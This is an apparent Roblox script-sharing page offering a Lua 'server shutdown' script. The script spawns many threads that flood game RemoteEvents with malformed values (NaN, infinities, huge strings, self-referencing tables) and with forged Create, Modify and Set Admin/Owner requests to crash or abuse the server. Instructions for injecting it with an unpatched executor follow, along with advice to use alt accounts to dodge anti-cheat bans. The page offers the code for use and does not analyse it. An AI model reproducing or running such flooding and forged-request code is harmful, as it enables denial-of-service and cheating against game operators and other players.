
Universal Script – server shutdown
-- yoohub open source
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local function makeBadPayloads()
local list = {}
list[#list+1] = nil
list[#list+1] = 0/0
list[#list+1] = math.huge
list[#list+1] = -math.huge
list[#list+1] = 2^53
list[#list+1] = -2^53
list[#list+1] = 1e308 * 10
list[#list+1] = string.rep("A", 200000)
list[#list+1] = string.rep("\0", 10000)
list[#list+1] = ("%s"):rep(5000)
list[#list+1] = workspace
list[#list+1] = game
list[#list+1] = function() end
list[#list+1] = coroutine.running()
do
local root = {}
local cur = root
for i = 1, 100 do cur.next = {}; cur = cur.next end
list[#list+1] = root
end
list[#list+1] = { [1]="a", ["1"]="b", [true]="c", [workspace]="d" }
do
local c = {}
c.self = c
list[#list+1] = c
end
list[#list+1] = true
list[#list+1] = "not_a_number"
list[#list+1] = { Name = workspace, Value = 0/0, Amount = math.huge, Price = -1, Id = "x" }
list[#list+1] = Vector3.new(0/0, math.huge, -math.huge)
list[#list+1] = CFrame.new(0/0, 0, 0)
return list
end
local remotes = {}
local function refreshRemotes()
local found = {}
for _, d in ipairs(game:GetDescendants()) do
if d:IsA("RemoteEvent") and d.Name == "hi" then
found[#found+1] = d
end
end
remotes = found
end
task.spawn(function()
while true do
refreshRemotes()
task.wait(0.5)
end
end)
local THREADS = 12
for i = 1, THREADS do
task.spawn(function()
while true do
RunService.Heartbeat:Wait()
for _, remote in ipairs(remotes) do
for _, payload in ipairs(makeBadPayloads()) do
task.spawn(function()
pcall(function()
remote:FireServer(payload)
end)
end)
end
task.spawn(function()
pcall(function()
for _ = 1, 20 do
remote:FireServer(nil)
remote:FireServer(0/0)
remote:FireServer(math.huge)
remote:FireServer({ Name = "x", Value = 0/0, Amount = math.huge })
end
end)
end)
end
end
end)
end
local function sendCreateRequests()
for _, remote in ipairs(remotes) do
task.spawn(function()
pcall(function()
remote:FireServer("Create", "Part")
remote:FireServer("Create", "Model")
remote:FireServer("Create", "Tool")
remote:FireServer("Create", "Vehicle")
remote:FireServer("Create", "House")
remote:FireServer("Create", "Base")
remote:FireServer("Create", "Pet")
remote:FireServer("Create", "Weapon")
remote:FireServer("Create", "Currency")
remote:FireServer("Create", "Admin")
remote:FireServer("Create", "All")
remote:FireServer("Create")
remote:FireServer({ Action = "Create", Type = "All", Amount = math.huge })
remote:FireServer({ Action = "Create", Type = "Part", Count = 999999 })
remote:FireServer({ Action = "Create", Type = "Model", Count = 0/0 })
for i = 1, 50 do
remote:FireServer("Create", "All")
remote:FireServer({ Action = "Create", Type = "Everything", Count = math.huge })
end
end)
end)
end
end
task.spawn(function()
while true do
RunService.Heartbeat:Wait()
sendCreateRequests()
end
end)
local function sendModifyRequests()
for _, remote in ipairs(remotes) do
task.spawn(function()
pcall(function()
remote:FireServer("Modify", "Health", 999999)
remote:FireServer("Modify", "Speed", math.huge)
remote:FireServer("Modify", "Jump", 0/0)
remote:FireServer("Modify", "Damage", -999999)
remote:FireServer("Modify", "Money", 2^53)
remote:FireServer("Modify", "Level", math.huge)
remote:FireServer("Modify", "Stat", "All")
remote:FireServer({ Action = "Modify", Stat = "Health", Value = math.huge })
remote:FireServer({ Action = "Modify", Stat = "Speed", Value = 0/0 })
remote:FireServer({ Action = "Modify", Stat = "All", Value = 999999 })
remote:FireServer({ Action = "Set", Key = "Admin", Value = true })
remote:FireServer({ Action = "Set", Key = "Owner", Value = true })
for i = 1, 50 do
remote:FireServer("Modify", "All", math.huge)
remote:FireServer({ Action = "Modify", Stat = "All", Value = 0/0 })
end
end)
end)
end
end
task.spawn(function()
while true do
RunService.Heartbeat:Wait()
sendModifyRequests()
end
end)
Players.PlayerAdded:Connect(function(player)
player.CharacterAdded:Connect(function(character)
local hrp = character:WaitForChild("HumanoidRootPart")
local parts = {}
for i = 1, 10 do
local part = Instance.new("Part")
part.Anchored = true
part.CanCollide = false
part.Size = Vector3.new(1, 1, 1)
part.Color = Color3.fromHSV(i / 10, 1, 1)
part.Material = Enum.Material.Neon
part.Parent = workspace
parts[#parts + 1] = part
end
local conn
conn = RunService.Heartbeat:Connect(function()
if hrp and hrp.Parent then
for i, part in ipairs(parts) do
local offset = Vector3.new(
math.cos(os.clock() * 2 + i) * 3,
3 + i,
math.sin(os.clock() * 2 + i) * 3
)
part.Position = hrp.Position + offset
end
else
conn:Disconnect()
for _, p in ipairs(parts) do p:Destroy() end
end
end)
end)
end)How to Execute Universal Script – server shutdown
Step 1: Copy Code: Click the Copy Code button in the viewer above to grab the clean Lua loadstring.
Step 2: Launch Executor: Open a compatible, unpatched executor. If you need one, check our Roblox Executors Directory.
Step 3: Join Experience: Launch Roblox and join Universal Script.
Step 4: Attach & Run: Attach/inject your executor into the Roblox process, paste the code into the script tab, and press Execute.
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Script Changelog (1)
Community Comments (1)
Frequently Asked Questions
How do I execute Universal Script – server shutdown in Roblox?
To run Universal Script – server shutdown, copy the Lua loadstring from the code viewer above, launch Roblox and join Universal Script, attach a working executor (such as Potassium, Solara, or Delta from our Executors directory), paste the code into your executor console, and click Execute.
Is Universal Script – server shutdown keyless or does it require an access key?
Universal Script – server shutdown requires an access key. You can retrieve the official key directly using the Get Script Key link provided above.
Is Universal Script – server shutdown currently safe and working?
This script is active and operational. Always test scripts using a secondary (alt) Roblox account to safeguard your main profile against anti-cheat bans.


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